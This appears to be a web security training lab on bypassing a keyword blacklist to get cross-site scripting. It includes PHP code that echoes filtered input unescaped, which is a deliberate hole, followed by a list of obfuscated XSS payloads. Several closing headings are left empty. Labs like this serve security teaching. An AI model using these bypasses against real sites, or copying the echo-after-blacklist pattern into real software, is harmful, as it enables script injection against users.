Test XSS with consistent blacklist filtering across multiple hidden parameters
This lab demonstrates a consistent blacklist filtering approach applied to multiple hidden parameters. The 'id', 'cat', 'page', and 'number' parameters all use the same blacklist filter, making this a comprehensive test of bypass techniques.
# use arjun tool to find hidden parameters: id, cat, page, number
All filtered parameters remove these keywords:
Input: <script>alert(1)</script>
Output: <script>alert(1)</script>
Input: <details ontoggle=alert(1)>
Output: < ontoggle=()>
Objective: Discover all hidden parameters and find ways to bypass the consistent blacklist filtering to execute XSS payloads.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
echo htmlspecialchars($_GET["fname"], ENT_QUOTES);
echo htmlspecialchars($_GET["lname"], ENT_QUOTES);
}
elseif(isset($_GET["id"])){
$arr = array('details','alert','confirm','prompt','eval','details','ontoggle');
$re = str_replace($arr, '', $_GET['id']);
echo $re;
}
elseif(isset($_GET["cat"])){
$arr = array('details','alert','confirm','prompt','eval','details','ontoggle');
$re = str_replace($arr, '', $_GET['cat']);
echo $re;
}
elseif(isset($_GET["page"])){
$arr = array('details','alert','confirm','prompt','eval','details','ontoggle');
$re = str_replace($arr, '', $_GET['page']);
echo $re;
}
elseif(isset($_GET["number"])){
$arr = array('details','alert','confirm','prompt','eval','details','ontoggle');
$re = str_replace($arr, '', $_GET['number']);
echo $re;
}
<script>window['al'+'ert'](1)</script><img src=x onerror=window['al'+'ert'](1)><body onload=window['al'+'ert'](1)><svg onload=window['al'+'ert'](1)><script>window['al'+'ert'](1)</script><script>this['al'+'ert'](1)</script><script>self['al'+'ert'](1)</script><script>top['al'+'ert'](1)</script><script>print()</script><script>open()</script><script>console.log(1)</script><script>setTimeout('al'+'ert(1)')</script><script>window['alert'](1)</script> (HTML entities)<script>window['\x61lert'](1)</script> (Hex encoding)<script>window['\141lert'](1)</script> (Octal encoding)<script>window[`al${''}ert`](1)</script> (Template literals)The current filter removes these exact strings: 'details', 'alert', 'confirm', 'prompt', 'eval', 'ontoggle'
This means these techniques can bypass the filter:
Multiple parameter filtering demonstrates:
For secure web applications: